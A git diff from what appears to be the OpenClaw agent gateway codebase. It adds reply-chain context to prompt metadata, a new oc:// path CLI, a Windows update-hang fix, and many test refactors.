describe("dispatchReplyFromConfig", () => { acp: { enabled: true, dispatch: { enabled: true }, - stream: { coalesceIdleMs: 0, maxChunkChars: 256 }, + stream: { deliveryMode: "live", coalesceIdleMs: 0, maxChunkChars: 256 }, }, } as OpenClawConfig; const dispatcher = createDispatcher(); @@ -2599,7 +2601,7 @@ describe("dispatchReplyFromConfig", () => { acp: { enabled: true, dispatch: { enabled: true }, - stream: { coalesceIdleMs: 0, maxChunkChars: 256 }, + stream: { deliveryMode: "live", coalesceIdleMs: 0, maxChunkChars: 256 }, }, } as OpenClawConfig; const dispatcher = createDispatcher(); diff --git a/src/auto-reply/reply/dispatch-from-config.ts b/src/auto-reply/reply/dispatch-from-config.ts index 868554ba8fe..f348181522b 100644 --- a/src/auto-reply/reply/dispatch-from-config.ts +++ b/src/auto-reply/reply/dispatch-from-config.ts @@ -318,9 +318,6 @@ const resolveHarnessSourceVisibleRepliesDefault = (params: { config: params.cfg, agentId: params.sessionAgentId, sessionKey: params.sessionKey, - agentHarnessId: - normalizeOptionalString(params.entry?.agentHarnessId) ?? - normalizeOptionalString(params.entry?.agentRuntimeOverride), }); return harness.deliveryDefaults?.sourceVisibleReplies; } catch (error) { diff --git a/src/auto-reply/reply/get-reply-run.ts b/src/auto-reply/reply/get-reply-run.ts index 19ccc2140f3..531dc1c5613 100644 --- a/src/auto-reply/reply/get-reply-run.ts +++ b/src/auto-reply/reply/get-reply-run.ts @@ -351,6 +351,18 @@ type RunPreparedReplyParams = { function resolveCurrentTurnPromptContext( ctx: TemplateContext, ): CurrentTurnPromptContext | undefined { + const replyChain = Array.isArray(ctx.ReplyChain) + ? ctx.ReplyChain.filter( + (entry) => + entry.body?.trim() || + entry.mediaType?.trim() || + entry.mediaPath?.trim() || + entry.mediaRef?.trim(), + ) + : undefined; + if (replyChain && replyChain.length > 0) { + return { replyChain }; + } const replyBody = normalizeOptionalString(ctx.ReplyToBody); if (!replyBody) { return undefined; @@ -885,13 +897,11 @@ export async function runPreparedReply( agentId, sessionKey: runtimePolicySessionKey, }); - const resolveAcceptedAuthProfileProviders = (entry: SessionEntry | undefined) => + const resolveAcceptedAuthProfileProviders = () => agentHarnessPolicy ? listOpenAIAuthProfileProvidersForAgentRuntime({ provider, harnessRuntime: agentHarnessPolicy.runtime, - sessionAgentHarnessId: entry?.agentHarnessId, - sessionAgentRuntimeOverride: entry?.agentRuntimeOverride, }) : [provider]; let authProfileId = useFastReplyRuntime @@ -900,9 +910,7 @@ export async function runPreparedReply( resolveSessionAuthProfileOverride({ cfg, provider, - acceptedProviderIds: resolveAcceptedAuthProfileProviders( - preparedSessionState.sessionEntry, - ), + acceptedProviderIds: resolveAcceptedAuthProfileProviders(), agentDir, sessionEntry: preparedSessionState.sessionEntry, sessionStore, @@ -961,9 +969,7 @@ export async function runPreparedReply( : await resolveSessionAuthProfileOverride({ cfg, provider, - acceptedProviderIds: resolveAcceptedAuthProfileProviders( - preparedSessionState.sessionEntry, - ), + acceptedProviderIds: resolveAcceptedAuthProfileProviders(), agentDir, sessionEntry: preparedSessionState.sessionEntry, sessionStore, diff --git a/src/auto-reply/reply/inbound-meta.test.ts b/src/auto-reply/reply/inbound-meta.test.ts index bc82b1b3489..9f123ea81fc 100644 --- a/src/auto-reply/reply/inbound-meta.test.ts +++ b/src/auto-reply/reply/inbound-meta.test.ts @@ -64,6 +64,13 @@ function parseReplyPayload(text: string): Record { ) as Record; } +function parseReplyChainPayload(text: string): Array> { + return parseUntrustedJsonBlock( + text, + "Reply chain of current user message (untrusted, nearest first):", + ) as Array>; +} + function parseHistoryPayload(text: string): Array> { return parseUntrustedJsonBlock( text, @@ -479,6 +486,55 @@ describe("buildInboundUserContextPrefix", () => { expect(reply["body"]).toBe("quoted body"); }); + it("renders hydrated reply chain instead of duplicate one-hop reply target", () => { + const text = buildInboundUserContextPrefix({ + ReplyToSender: "Blair", + ReplyToBody: "The cache warmer is the piece I meant.", + ReplyChain: [ + { + messageId: "3001", + sender: "Blair", + senderId: "700002", + timestamp: 1778216405000, + body: "The cache warmer is the piece I meant.", + replyToId: "3000", + }, + { + messageId: "3000", + sender: "Avery", + senderId: "700001", + timestamp: 1778216400000, + body: "Architecture sketch for the cache warmer", + mediaType: "image", + mediaRef: "telegram:file/proof-photo-small", + }, + ], + } as TemplateContext); + + const replyChain = parseReplyChainPayload(text); + expect(replyChain).toEqual([ + { + message_id: "3001", + sender: "Blair", + sender_id: "700002", + timestamp_ms: 1778216405000, + body: "The cache warmer is the piece I meant.", + reply_to_id: "3000", + }, + { + message_id: "3000", + sender: "Avery", + sender_id: "700001", + timestamp_ms: 1778216400000, + body: "Architecture sketch for the cache warmer", + media_type: "image", + media_ref: "telegram:file/proof-photo-small", + }, + ]); + expect(text).not.toContain("Reply target of current user message"); + expect(parseConversationInfoPayload(text)["has_reply_context"]).toBe(true); + }); + it("includes sender_id in conversation info", () => { const text = buildInboundUserContextPrefix({ ChatType: "group", diff --git a/src/auto-reply/reply/inbound-meta.ts b/src/auto-reply/reply/inbound-meta.ts index 20e46398785..28eff716186 100644 --- a/src/auto-reply/reply/inbound-meta.ts +++ b/src/auto-reply/reply/inbound-meta.ts @@ -92,6 +92,42 @@ function buildLocationContextPayload(ctx: TemplateContext): Record value !== undefined) ? payload : undefined; } +function buildReplyChainPayload(ctx: TemplateContext): Array> { + if (!Array.isArray(ctx.ReplyChain)) { + return []; + } + return ctx.ReplyChain.flatMap((entry) => { + const body = sanitizePromptBody(entry.body); + const mediaType = normalizePromptMetadataString(entry.mediaType); + const mediaPath = normalizePromptMetadataString(entry.mediaPath); + const mediaRef = normalizePromptMetadataString(entry.mediaRef); + if (!body && !mediaType && !mediaPath && !mediaRef) { + return []; + } + return [ + { + message_id: normalizePromptMetadataString(entry.messageId), + thread_id: normalizePromptMetadataString(entry.threadId), + sender: normalizePromptMetadataString(entry.sender), + sender_id: normalizePromptMetadataString(entry.senderId), + sender_username: normalizePromptMetadataString(entry.senderUsername), + timestamp_ms: typeof entry.timestamp === "number" ? entry.timestamp : undefined, + body, + is_quote: entry.isQuote === true ? true : undefined, + media_type: mediaType, + media_path: mediaPath, + media_ref: mediaRef, + reply_to_id: normalizePromptMetadataString(entry.replyToId), + forwarded_from: normalizePromptMetadataString(entry.forwardedFrom), + forwarded_from_id: normalizePromptMetadataString(entry.forwardedFromId), + forwarded_from_username: normalizePromptMetadataString(entry.forwardedFromUsername), + forwarded_date_ms: + typeof entry.forwardedDate === "number" ? entry.forwardedDate : undefined, + }, + ]; + }); +} + function formatConversationTimestamp( value: unknown, envelope?: EnvelopeFormatOptions, @@ -194,6 +230,7 @@ export function buildInboundUserContextPrefix( const timestampStr = formatConversationTimestamp(ctx.Timestamp, envelope); const inboundHistory = Array.isArray(ctx.InboundHistory) ? ctx.InboundHistory : []; const boundedHistory = inboundHistory.slice(-MAX_UNTRUSTED_HISTORY_ENTRIES); + const replyChainPayload = buildReplyChainPayload(ctx); // Keep volatile conversation/message identifiers in the user-role block so the system // prompt stays byte-stable across task-scoped sessions and reply turns. @@ -227,7 +264,8 @@ export function buildInboundUserContextPrefix( is_forum: ctx.IsForum === true ? true : undefined, is_group_chat: !isDirect ? true : undefined, was_mentioned: ctx.WasMentioned === true ? true : undefined, - has_reply_context: sanitizePromptBody(ctx.ReplyToBody) ? true : undefined, + has_reply_context: + replyChainPayload.length > 0 || sanitizePromptBody(ctx.ReplyToBody) ? true : undefined, has_forwarded_context: normalizePromptMetadataString(ctx.ForwardedFrom) ? true : undefined, has_thread_starter: sanitizePromptBody(ctx.ThreadStarterBody) ? true : undefined, history_count: boundedHistory.length > 0 ? boundedHistory.length : undefined, @@ -267,7 +305,14 @@ export function buildInboundUserContextPrefix( } const replyToBody = sanitizePromptBody(ctx.ReplyToBody); - if (replyToBody) { + if (replyChainPayload.length > 0) { + blocks.push( + formatUntrustedJsonBlock( + "Reply chain of current user message (untrusted, nearest first):", + replyChainPayload, + ), + ); + } else if (replyToBody) { blocks.push( formatUntrustedJsonBlock("Reply target of current user message (untrusted, for context):", { sender_label: normalizePromptMetadataString(ctx.ReplyToSender), diff --git a/src/auto-reply/reply/model-selection.test.ts b/src/auto-reply/reply/model-selection.test.ts index 2b3bddb4296..ee6e9996ddd 100644 --- a/src/auto-reply/reply/model-selection.test.ts +++ b/src/auto-reply/reply/model-selection.test.ts @@ -232,7 +232,7 @@ describe("createModelSelectionState catalog loading", () => { expect(loadModelCatalog).toHaveBeenCalledOnce(); }); - it("preserves OpenAI API-key session auth when the session explicitly pins PI", async () => { + it("preserves OpenAI API-key session auth when model policy explicitly pins PI", async () => { authProfileStoreMock.store = { version: 1, profiles: { @@ -243,12 +243,21 @@ describe("createModelSelectionState catalog loading", () => { sessionId: "s1", updatedAt: 1, authProfileOverride: "openai:work", - agentRuntimeOverride: "pi", }; const sessionStore = { main: sessionEntry }; await createModelSelectionState({ - cfg: {} as OpenClawConfig, + cfg: { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "pi" }, + models: [], + }, + }, + }, + } as OpenClawConfig, agentCfg: undefined, defaultProvider: "openai", defaultModel: "gpt-5.5", diff --git a/src/auto-reply/reply/model-selection.ts b/src/auto-reply/reply/model-selection.ts index 592cd3ed53f..b44b43210f5 100644 --- a/src/auto-reply/reply/model-selection.ts +++ b/src/auto-reply/reply/model-selection.ts @@ -244,8 +244,6 @@ export async function createModelSelectionState(params: { const acceptedAuthProviders = listOpenAIAuthProfileProvidersForAgentRuntime({ provider, harnessRuntime: harnessPolicy.runtime, - sessionAgentHarnessId: sessionEntry.agentHarnessId, - sessionAgentRuntimeOverride: sessionEntry.agentRuntimeOverride, }).map(normalizeProviderId); if (!profile || !acceptedAuthProviders.includes(profileProvider ?? "")) { await clearSessionAuthProfileOverride({ diff --git a/src/auto-reply/reply/stage-sandbox-media.ts b/src/auto-reply/reply/stage-sandbox-media.ts index 9476d9e1c5e..449e8bdc6fb 100644 --- a/src/auto-reply/reply/stage-sandbox-media.ts +++ b/src/auto-reply/reply/stage-sandbox-media.ts @@ -319,7 +319,7 @@ async function scpFile(remoteHost: string, remotePath: string, localPath: string } return new Promise((resolve, reject) => { const child = spawn( - "/usr/bin/scp", + "scp", [ "-o", "BatchMode=yes", diff --git a/src/auto-reply/templating.ts b/src/auto-reply/templating.ts index 52eda5f6512..2236ce50755 100644 --- a/src/auto-reply/templating.ts +++ b/src/auto-reply/templating.ts @@ -96,6 +96,24 @@ export type MsgContext = { ReplyToIdFull?: string; ReplyToBody?: string; ReplyToSender?: string; + ReplyChain?: Array<{ + messageId?: string; + threadId?: string; + sender?: string; + senderId?: string; + senderUsername?: string; + timestamp?: number; + body?: string; + isQuote?: boolean; + mediaType?: string; + mediaPath?: string; + mediaRef?: string; + replyToId?: string; + forwardedFrom?: string; + forwardedFromId?: string; + forwardedFromUsername?: string; + forwardedDate?: number; + }>; ReplyToIsQuote?: boolean; /** Forward origin from the reply target (when reply_to_message is a forwarded message). */ ReplyToForwardedFrom?: string; diff --git a/src/auto-reply/thinking.ts b/src/auto-reply/thinking.ts index 6bf736131b2..9226d5a6cd9 100644 --- a/src/auto-reply/thinking.ts +++ b/src/auto-reply/thinking.ts @@ -284,10 +284,16 @@ export function resolveLargestSupportedThinkingLevel( model?: string | null, ): ThinkLevel { const profile = resolveThinkingProfile({ provider, model }); - return ( - profile.levels.filter((level) => level.id !== "off").toSorted((a, b) => b.rank - a.rank)[0] - ?.id ?? "off" - ); + let bestLevel: ResolvedThinkingProfile["levels"][number] | undefined; + for (const level of profile.levels) { + if (level.id === "off") { + continue; + } + if (!bestLevel || level.rank > bestLevel.rank) { + bestLevel = level; + } + } + return bestLevel?.id ?? "off"; } export function isThinkingLevelSupported(params: { diff --git a/src/channels/message/outbound-bridge.test.ts b/src/channels/message/outbound-bridge.test.ts index 41fab3324e8..8e8f44ce558 100644 --- a/src/channels/message/outbound-bridge.test.ts +++ b/src/channels/message/outbound-bridge.test.ts @@ -113,14 +113,25 @@ describe("createChannelMessageAdapterFromOutbound", () => { ); }); - it("exposes only send methods backed by outbound handlers", () => { + it("exposes only send methods backed by outbound handlers", async () => { const adapter = createChannelMessageAdapterFromOutbound({ outbound: { sendText: vi.fn(async () => ({ messageId: "msg-1" })), }, }); - expect(adapter.send?.text).toEqual(expect.any(Function)); + const sendText = adapter.send?.text; + if (!sendText) { + throw new Error("expected text send adapter"); + } + + await expect(sendText({ cfg, to: "room-1", text: "hello" })).resolves.toEqual({ + messageId: "msg-1", + receipt: expect.objectContaining({ + primaryPlatformMessageId: "msg-1", + platformMessageIds: ["msg-1"], + }), + }); expect(adapter.send?.media).toBeUndefined(); expect(adapter.send?.payload).toBeUndefined(); }); diff --git a/src/channels/registry.helpers.test.ts b/src/channels/registry.helpers.test.ts index 39e6c763cac..2509c1f37a7 100644 --- a/src/channels/registry.helpers.test.ts +++ b/src/channels/registry.helpers.test.ts @@ -24,7 +24,7 @@ describe("channel registry helpers", () => { it("includes MS Teams in the bundled channel list", () => { const channels = listChatChannels(); - expect(channels.some((channel) => channel.id === "msteams")).toBe(true); + expect(channels.map((channel) => channel.id)).toContain("msteams"); }); it("formats Telegram selection lines without a docs prefix and with website extras", () => { diff --git a/src/cli/capability-cli.test.ts b/src/cli/capability-cli.test.ts index 09b03460992..0bc8c1f4bce 100644 --- a/src/cli/capability-cli.test.ts +++ b/src/cli/capability-cli.test.ts @@ -381,8 +381,9 @@ describe("capability cli", () => { }); const payload = mocks.runtime.writeJson.mock.calls[0]?.[0] as Array<{ id: string }>; - expect(payload.some((entry) => entry.id === "model.run")).toBe(true); - expect(payload.some((entry) => entry.id === "image.describe")).toBe(true); + expect(payload.map((entry) => entry.id)).toEqual( + expect.arrayContaining(["model.run", "image.describe"]), + ); }); it("defaults model run to local transport", async () => { diff --git a/src/cli/command-secret-targets.test.ts b/src/cli/command-secret-targets.test.ts index b8f97d0e594..355593e7a53 100644 --- a/src/cli/command-secret-targets.test.ts +++ b/src/cli/command-secret-targets.test.ts @@ -104,8 +104,9 @@ describe("command secret target ids", () => { }); expect(scoped.targetIds.size).toBeGreaterThan(0); - expect([...scoped.targetIds].every((id) => id.startsWith("channels.discord."))).toBe(true); - expect([...scoped.targetIds].some((id) => id.startsWith("channels.telegram."))).toBe(false); + const targetIds = [...scoped.targetIds]; + expect(targetIds.filter((id) => !id.startsWith("channels.discord."))).toEqual([]); + expect(targetIds.filter((id) => id.startsWith("channels.telegram."))).toEqual([]); }); it("does not coerce missing accountId to default when channel is scoped", () => { @@ -127,7 +128,7 @@ describe("command secret target ids", () => { expect(scoped.allowedPaths).toBeUndefined(); expect(scoped.targetIds.size).toBeGreaterThan(0); - expect([...scoped.targetIds].every((id) => id.startsWith("channels.discord."))).toBe(true); + expect([...scoped.targetIds].filter((id) => !id.startsWith("channels.discord."))).toEqual([]); }); it("scopes allowed paths to channel globals + selected account", () => { diff --git a/src/cli/daemon-cli.coverage.test.ts b/src/cli/daemon-cli.coverage.test.ts index 968113ace74..9c2bf093c88 100644 --- a/src/cli/daemon-cli.coverage.test.ts +++ b/src/cli/daemon-cli.coverage.test.ts @@ -325,7 +325,8 @@ describe("daemon-cli coverage", () => { expect(serviceStop).toHaveBeenCalledTimes(1); const jsonLines = runtimeLogs.filter((line) => line.trim().startsWith("{")); const parsed = jsonLines.map((line) => JSON.parse(line) as { action?: string; ok?: boolean }); - expect(parsed.some((entry) => entry.action === "start" && entry.ok === true)).toBe(true); - expect(parsed.some((entry) => entry.action === "stop" && entry.ok === true)).toBe(true); + expect(parsed.filter((entry) => entry.ok).map((entry) => entry.action)).toEqual( + expect.arrayContaining(["start", "stop"]), + ); }); }); diff --git a/src/cli/daemon-cli/status.print.test.ts b/src/cli/daemon-cli/status.print.test.ts index 80b49363159..a38f5c17e4e 100644 --- a/src/cli/daemon-cli/status.print.test.ts +++ b/src/cli/daemon-cli/status.print.test.ts @@ -157,7 +157,7 @@ describe("printDaemonStatus", () => { expect(runtime.log).toHaveBeenCalledWith(expect.stringContaining("Capability: write-capable")); }); - it("prints CLI and gateway versions with stale wrapper guidance when they differ", () => { + it("prints CLI and gateway versions with readable guidance when they differ", () => { printDaemonStatus( { cli: { @@ -195,10 +195,12 @@ describe("printDaemonStatus", () => { ); expect(runtime.log).toHaveBeenCalledWith(expect.stringContaining("Gateway version: 2026.5.6")); expect(runtime.error).toHaveBeenCalledWith( - expect.stringContaining("CLI/runtime version skew detected"), + expect.stringContaining("this OpenClaw command is version 2026.4.23"), ); expect(runtime.error).toHaveBeenCalledWith( - expect.stringContaining("stale PATH/global wrappers"), + expect.stringContaining( + "if this mismatch is unexpected, update PATH so `openclaw` points to the version you want", + ), ); }); diff --git a/src/cli/daemon-cli/status.print.ts b/src/cli/daemon-cli/status.print.ts index 935941c1fe1..4f6f164db63 100644 --- a/src/cli/daemon-cli/status.print.ts +++ b/src/cli/daemon-cli/status.print.ts @@ -193,12 +193,12 @@ export function printDaemonStatus(status: DaemonStatus, opts: { json: boolean }) if (status.cli?.version && status.cli.version !== gatewayVersion) { defaultRuntime.error( warnText( - `Warning: CLI/runtime version skew detected. CLI is ${status.cli.version}; gateway is ${gatewayVersion}.`, + `Warning: this OpenClaw command is version ${status.cli.version}, but the running Gateway is version ${gatewayVersion}.`, ), ); defaultRuntime.error( warnText( - `Fix: check for stale PATH/global wrappers with \`command -v openclaw\`, \`readlink -f "$(command -v openclaw)"\`, and \`openclaw --version\`; reinstall the gateway service from the intended binary if needed.`, + "Check `openclaw --version`, `which openclaw`, and `openclaw gateway status --deep`; if this mismatch is unexpected, update PATH so `openclaw` points to the version you want, or reinstall the Gateway service from that same OpenClaw install.", ), ); } diff --git a/src/cli/path-cli.ts b/src/cli/path-cli.ts new file mode 100644 index 00000000000..ee10ffacb08 --- /dev/null +++ b/src/cli/path-cli.ts @@ -0,0 +1,113 @@ +import type { Command } from "commander"; +import { + pathEmitCommand, + pathFindCommand, + pathResolveCommand, + pathSetCommand, + pathValidateCommand, + type PathCommandOptions, +} from "../commands/path.js"; +import { defaultRuntime } from "../runtime.js"; +import { formatDocsLink } from "../terminal/links.js"; +import { theme } from "../terminal/theme.js"; +import { runCommandWithRuntime } from "./cli-utils.js"; +import { applyParentDefaultHelpAction } from "./program/parent-default-help.js"; + +interface RawPathOptions { + json?: boolean; + human?: boolean; + cwd?: string; + file?: string; + dryRun?: boolean; +} + +function normalize(opts: RawPathOptions): PathCommandOptions { + return { + json: opts.json, + human: opts.human, + cwd: opts.cwd, + file: opts.file, + dryRun: opts.dryRun, + }; +} + +export function registerPathCli(program: Command) { + const path = program + .command("path") + .description("Inspect and edit workspace files via the oc:// addressing scheme") + .addHelpText( + "after", + () => + `\n${theme.muted("Docs:")} ${formatDocsLink("/cli/path", "docs.openclaw.ai/cli/path")}\n`, + ); + + path + .command("resolve") + .description("Print the match at an oc:// path") + .argument("", "oc:// path to resolve") + .option("--json", "Force JSON output") + .option("--human", "Force human output") + .option("--cwd ", "Resolve file slot against this directory") + .option("--file ", "Override the file slot's resolved path (absolute access)") + .action(async (pathStr: string, opts: RawPathOptions) => { + await runCommandWithRuntime(defaultRuntime, async () => { + await pathResolveCommand(pathStr, normalize(opts), defaultRuntime); + }); + }); + + path + .command("find") + .description("Enumerate matches for a wildcard / predicate oc:// pattern") + .argument("", "oc:// pattern (supports * and **)") + .option("--json", "Force JSON output") + .option("--human", "Force human output") + .option("--cwd ", "Resolve file slot against this directory") + .option("--file ", "Override the file slot's resolved path (absolute access)") + .action(async (patternStr: string, opts: RawPathOptions) => { + await runCommandWithRuntime(defaultRuntime, async () => { + await pathFindCommand(patternStr, normalize(opts), defaultRuntime); + }); + }); + + path + .command("set") + .description("Write a leaf value at an oc:// path") + .argument("", "oc:// path to write") + .argument("", "string value to write") + .option("--dry-run", "Print bytes without writing") + .option("--json", "Force JSON output") + .option("--human", "Force human output") + .option("--cwd ", "Resolve file slot against this directory") + .option("--file ", "Override the file slot's resolved path (absolute access)") + .action(async (pathStr: string, value: string, opts: RawPathOptions) => { + await runCommandWithRuntime(defaultRuntime, async () => { + await pathSetCommand(pathStr, value, normalize(opts), defaultRuntime); + }); + }); + + path + .command("validate") + .description("Parse an oc:// path and print its slot structure") + .argument("", "oc:// path to validate") + .option("--json", "Force JSON output") + .option("--human", "Force human output") + .action((pathStr: string, opts: RawPathOptions) => { + pathValidateCommand(pathStr, normalize(opts), defaultRuntime); + }); + + path + .command("emit") + .description("Round-trip a file through parseXxx + emitXxx (byte-fidelity diagnostic)") + .argument("", "Path to a workspace file (md / jsonc / jsonl / yaml)") + .option("--cwd ", "Resolve against this directory (default: process.cwd())") + .option("--file ", "Override the file's resolved path (absolute access)") + .option("--json", "Force JSON output") + .option("--human", "Force human output") + .action(async (fileArg: string, opts: RawPathOptions) => { + await runCommandWithRuntime(defaultRuntime, async () => { + await pathEmitCommand(fileArg, normalize(opts), defaultRuntime); + }); + }); + + applyParentDefaultHelpAction(path); +} diff --git a/src/cli/plugins-search-command.ts b/src/cli/plugins-search-command.ts index 2d71f11ed99..ab2277e0b14 100644 --- a/src/cli/plugins-search-command.ts +++ b/src/cli/plugins-search-command.ts @@ -33,7 +33,25 @@ function mergePackageSearchResults( byName.set(entry.package.name, entry); } } - return [...byName.values()].toSorted((a, b) => b.score - a.score).slice(0, limit); + const selected: ClawHubPackageSearchResult[] = []; + for (const entry of byName.values()) { + let insertAt = selected.length; + for (let index = 0; index < selected.length; index += 1) { + if (entry.score > selected[index].score) { + insertAt = index; + break; + } + } + if (insertAt < limit) { + selected.splice(insertAt, 0, entry); + if (selected.length > limit) { + selected.pop(); + } + } else if (selected.length < limit) { + selected.push(entry); + } + } + return selected; } function formatPackageSearchLine(entry: ClawHubPackageSearchResult): string { diff --git a/src/cli/program/register.subclis-core.ts b/src/cli/program/register.subclis-core.ts index 04c64af93c4..f9fd77796b3 100644 --- a/src/cli/program/register.subclis-core.ts +++ b/src/cli/program/register.subclis-core.ts @@ -167,6 +167,11 @@ const entrySpecs: readonly CommandGroupDescriptorSpec[] = [ loadModule: () => import("../docs-cli.js"), exportName: "registerDocsCli", }, + { + commandNames: ["path"], + loadModule: () => import("../path-cli.js"), + exportName: "registerPathCli", + }, { commandNames: ["qa"], loadModule: loadPrivateQaCliModule, diff --git a/src/cli/program/subcli-descriptors.ts b/src/cli/program/subcli-descriptors.ts index 71ce5e7f4ea..9d6449c3cf1 100644 --- a/src/cli/program/subcli-descriptors.ts +++ b/src/cli/program/subcli-descriptors.ts @@ -93,6 +93,11 @@ const subCliCommandCatalog = defineCommandDescriptorCatalog([ description: "Search the live OpenClaw docs", hasSubcommands: false, }, + { + name: "path", + description: "Inspect and edit workspace files via the oc:// addressing scheme", + hasSubcommands: true, + }, { name: "qa", description: "Run QA scenarios and launch the private QA debugger UI", diff --git a/src/cli/update-cli/restart-helper.test.ts b/src/cli/update-cli/restart-helper.test.ts index 474dffaacbe..f43bd223bd2 100644 --- a/src/cli/update-cli/restart-helper.test.ts +++ b/src/cli/update-cli/restart-helper.test.ts @@ -21,7 +21,7 @@ describe("restart-helper", () => { async function prepareAndReadScript(env: Record, gatewayPort = 18789) { const scriptPath = await prepareRestartScript(env, gatewayPort); - if (scriptPath === undefined) { + if (scriptPath == null) { throw new Error("expected restart script path"); } const content = await fs.readFile(scriptPath, "utf-8"); diff --git a/src/cli/update-cli/update-command.test.ts b/src/cli/update-cli/update-command.test.ts index 781b7a62641..1cae03eff85 100644 --- a/src/cli/update-cli/update-command.test.ts +++ b/src/cli/update-cli/update-command.test.ts @@ -10,6 +10,7 @@ import { collectMissingPluginInstallPayloads, recoverInstalledLaunchAgentAfterUpdate, recoverLaunchAgentAndRecheckGatewayHealth, + resolvePostCoreUpdateChildStdio, resolvePostInstallDoctorEnv, shouldPrepareUpdatedInstallRestart, resolveUpdatedGatewayRestartPort, @@ -544,3 +545,17 @@ describe("recoverLaunchAgentAndRecheckGatewayHealth", () => { }); }); }); + +describe("resolvePostCoreUpdateChildStdio", () => { + it('returns "pipe" on Windows so the child never inherits the parent console handles', () => { + // On Windows, stdio:"inherit" passes the parent's console HANDLE to the child process. + // PowerShell/CMD will not return the prompt until every holder of those handles exits, + // causing the terminal to hang after `openclaw update` completes (#78445). + expect(resolvePostCoreUpdateChildStdio("win32")).toBe("pipe"); + }); + + it('returns "inherit" on non-Windows platforms', () => { + expect(resolvePostCoreUpdateChildStdio("linux")).toBe("inherit"); + expect(resolvePostCoreUpdateChildStdio("darwin")).toBe("inherit"); + }); +}); diff --git a/src/cli/update-cli/update-command.ts b/src/cli/update-cli/update-command.ts index 34073d5f5d1..3bda5e9f71c 100644 --- a/src/cli/update-cli/update-command.ts +++ b/src/cli/update-cli/update-command.ts @@ -1801,6 +1801,22 @@ function stopPostCoreUpdateChild(child: ChildProcess): void { child.kill(); } +/** + * Returns the stdio mode for the post-core-update child process. + * + * Windows shells (PowerShell/CMD) wait for all processes that hold inherited console handles to + * exit before returning the prompt, even after the immediate child has exited. Using "pipe" on + * Windows prevents the child (and any grandchildren it spawns) from ever receiving a reference to + * the parent's console handles, eliminating the terminal hang seen in #78445. + * + * @internal exported for testing + */ +export function resolvePostCoreUpdateChildStdio( + platform: NodeJS.Platform = process.platform, +): "inherit" | "pipe" { + return platform === "win32" ? "pipe" : "inherit"; +} + async function continuePostCoreUpdateInFreshProcess(params: { root: string; channel: "stable" | "beta" | "dev"; @@ -1832,8 +1848,9 @@ async function continuePostCoreUpdateInFreshProcess(params: { try { await writePostCorePluginInstallRecordsFile(installRecordsPath, params.pluginInstallRecords); + const childStdio = resolvePostCoreUpdateChildStdio(); const child = spawn(resolveNodeRunner(), argv, { - stdio: "inherit", + stdio: childStdio, env: { ...stripGatewayServiceMarkerEnv(disableUpdatedPackageCompileCacheEnv(process.env)), [POST_CORE_UPDATE_ENV]: "1", @@ -1845,6 +1862,11 @@ async function continuePostCoreUpdateInFreshProcess(params: { [POST_CORE_UPDATE_INSTALL_RECORDS_PATH_ENV]: installRecordsPath, }, }); + // When piped, relay child output to the parent process so terminal output is preserved. + if (childStdio === "pipe") { + child.stdout?.pipe(process.stdout); + child.stderr?.pipe(process.stderr); + } const childResult = await new Promise< | { kind: "exit"; exitCode: number } diff --git a/src/commands/agent.runtime-config.test.ts b/src/commands/agent.runtime-config.test.ts index 30dd418a0b0..9aa9a5df94b 100644 --- a/src/commands/agent.runtime-config.test.ts +++ b/src/commands/agent.runtime-config.test.ts @@ -208,7 +208,11 @@ describe("agentCommand runtime config", () => { expect(resolved.storePath).toBe(store); expect(resolved.sessionKey).toEqual(expect.any(String)); - expect(resolved.sessionKey.length).toBeGreaterThan(0); + const sessionKey = resolved.sessionKey; + if (!sessionKey) { + throw new Error("expected session key"); + } + expect(sessionKey.length).toBeGreaterThan(0); expect(resolved.sessionId).toEqual(expect.any(String)); expect(resolved.sessionId.length).toBeGreaterThan(0); expect(resolved.isNewSession).toBe(true); diff --git a/src/commands/agent.test.ts b/src/commands/agent.test.ts index fbd4f5589c7..e190922e9a6 100644 --- a/src/commands/agent.test.ts +++ b/src/commands/agent.test.ts @@ -362,13 +362,19 @@ describe("agentCommand", () => { }); }); - it("does not enable Codex for one-shot OpenAI overrides when the agent forces PI", async () => { + it("does not enable Codex for one-shot OpenAI overrides when the provider forces PI", async () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); - mockConfig(home, storePath, { - agentRuntime: { id: "pi" }, - models: undefined, - }); + const cfg = mockConfig(home, storePath, { models: undefined }); + cfg.models = { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "pi" }, + models: [], + }, + }, + }; await agentCommand( { diff --git a/src/commands/agents.test.ts b/src/commands/agents.test.ts index 9e3bcb5c5d7..c38dc938f50 100644 --- a/src/commands/agents.test.ts +++ b/src/commands/agents.test.ts @@ -305,8 +305,8 @@ describe("agents helpers", () => { }; const result = pruneAgentConfig(cfg, "work"); - expect(result.config.agents?.list?.some((agent) => agent.id === "work")).toBe(false); - expect(result.config.agents?.list?.some((agent) => agent.id === "home")).toBe(true); + expect(result.config.agents?.list?.map((agent) => agent.id)).not.toContain("work"); + expect(result.config.agents?.list?.map((agent) => agent.id)).toContain("home"); expect(result.config.bindings).toHaveLength(1); expect(result.config.bindings?.[0]?.agentId).toBe("home"); expect(result.config.tools?.agentToAgent?.allow).toEqual(["home"]); diff --git a/src/commands/auth-choice-options.test.ts b/src/commands/auth-choice-options.test.ts index c580b7c0493..d64f864a7a5 100644 --- a/src/commands/auth-choice-options.test.ts +++ b/src/commands/auth-choice-options.test.ts @@ -263,25 +263,25 @@ describe("buildAuthChoiceOptions", () => { ]); const options = getOptions(); - for (const value of [ - "github-copilot", - "zai-api-key", - "xiaomi-api-key", - "minimax-global-api", - "moonshot-api-key", - "together-api-key", - "chutes", - "xai-api-key", - "mistral-api-key", - "volcengine-api-key", - "byteplus-api-key", - "vllm", - "opencode-go", - "ollama", - "sglang", - ]) { - expect(options.some((opt) => opt.value === value)).toBe(true); - } + expect(options.map((option) => option.value)).toEqual( + expect.arrayContaining([ + "github-copilot", + "zai-api-key", + "xiaomi-api-key", + "minimax-global-api", + "moonshot-api-key", + "together-api-key", + "chutes", + "xai-api-key", + "mistral-api-key", + "volcengine-api-key", + "byteplus-api-key", + "vllm", + "opencode-go", + "ollama", + "sglang", + ]), + ); }); it("builds cli help choices from the same runtime catalog", () => { @@ -328,7 +328,7 @@ describe("buildAuthChoiceOptions", () => { expect(cliChoices).toContain("litellm-api-key"); expect(cliChoices).toContain("custom-api-key"); expect(cliChoices).toContain("skip"); - expect(options.some((option) => option.value === "ollama")).toBe(true); + expect(options.map((option) => option.value)).toContain("ollama"); 